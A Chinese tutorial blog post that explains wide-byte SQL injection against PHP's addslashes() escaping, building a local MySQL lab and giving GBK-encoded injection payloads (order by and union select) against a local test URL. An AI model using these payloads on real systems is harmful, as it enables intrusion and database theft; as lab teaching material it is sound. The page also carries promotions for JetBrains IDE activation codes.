大家好,又见面了,我是你们的朋友全栈君。如果您正在找激活码,请点击查看最新教程,关注关注公众号 “全栈程序员社区” 获取激活教程,可能之前旧版本教程已经失效.最新Idea2022.1教程亲测有效,一键激活。
Jetbrains全系列IDE稳定放心使用
我讨厌现在的自己,一边压抑着自己的情绪,一边装作没事的样子,一到深夜就彻底崩溃了,天亮后还要微笑面对生活。。。
—- 网易云热评
一、原理
1、单字节字符集: 所有的字符都使用一个字节来表示,比如 ASCII 编码(0-127)
2、多字节字符集: 在多字节字符集中,一部分字节用多个字节来表示,另一部分(可能没有)用单个字节来表示。
3、宽字节注入是利用mysql的一个特性,使用GBK编码的时候,会认为两个字符是一个汉字
二、addslashes()函数
1、addslashes() 函数返回在预定义字符之前添加反斜杠的字符串。
2、预定义字符是:单引号(’),双引号(”),反斜杠(\),NULL
3、实例
<?php
$ss=addslashes('aiyou"bu"cuoo');
echo($ss);
?>
运行结果:
aiyou\"bu\"cuoo
三、数据库创建
1、创建数据库名为jay
create database jay;
2、选择创建好的数据库
use jay;
3、创建表名为zhuanji,字段包括,id,neme,year,zhudage
create table zhuanji(id int primary key auto_increment,name varchar(255) not null,year int not null,zhudage varchar(255) not null);
4、插入数据
insert into zhuanji (name,year,zhudage) values (“七里香”,”2004″,”七里香/外婆/我的地盘”);
insert into zhuanji (name,year,zhudage) values (“十一月的萧邦”,”2005″,”夜曲/发如雪/珊瑚海”);
insert into zhuanji (name,year,zhudage) values (“我很忙”,”2007″,”青花瓷/我不配/彩虹”);
5、中文编码问题,修改my.ini文件
[mysql]
default-character-set=gbk
[mysqld]
character-set-server=gbk
四、宽字节注入
1、访问该网址:http://192.168.0.104/aiyou/1.php?id=2,返回正常信息
2、判断是否存在注入,在id=2后面加入’,看是否报错,发现单引号被转义了
3、替换反斜杠,反斜杠的GBK编码为%5C,根据GBK编码在前面加上%DE,%DF,%E0。。。都可以组成一个汉字,从而把反斜杠给‘吃’了
4、成功替换了反斜杠
5、获取数据库列数,order by 4返回正常
192.168.0.104/aiyou/1.php?id=2%E0′ order by 4 –+
6、获取数据库名称及版本号
192.168.0.104/aiyou/1.php?id=-2%E0′ union select 1,database(),version(),4 –+
禁止非法,后果自负
欢迎关注公众号:web安全工具库
发布者:全栈程序员-用户IM,转载请注明出处:https://javaforall.cn/181922.html原文链接:https://javaforall.cn
【正版授权,激活自己账号】: Jetbrains全家桶Ide使用,1年售后保障,每天仅需1毛
【官方授权 正版激活】: 官方授权 正版激活 支持Jetbrains家族下所有IDE 使用个人JB账号...